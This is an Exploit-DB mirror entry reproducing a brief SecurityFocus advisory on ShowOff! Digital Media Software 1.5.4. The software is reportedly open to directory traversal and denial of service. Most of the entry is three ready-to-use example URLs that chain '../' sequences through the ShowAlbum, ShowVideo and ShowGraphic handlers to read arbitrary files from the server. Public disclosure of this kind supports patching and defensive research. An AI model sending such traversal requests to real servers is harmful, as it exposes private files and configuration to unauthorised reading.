exploit-db-mirror/platforms/cgi/webapps/25649.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

9 lines
No EOL
585 B
Text
Executable file

source: http://www.securityfocus.com/bid/13598/info
ShowOff! Digital Media Software is affected by multiple vulnerabilities. These issues can allow an attacker to carry out directory traversal and denial of service attacks.
ShowOff! Digital Media Software 1.5.4 is reportedly vulnerable. Other versions may be affected as well.
http://www.example.com/ShowAlbum?ShowDetails&1&nocount&/../../../../../../../../../../[file]
http://www.example.com/ShowVideo?1&fullnocount&/../../../../../../../../../../[file]
http://www.example.com/ShowGraphic?/../../../../../../../../[file]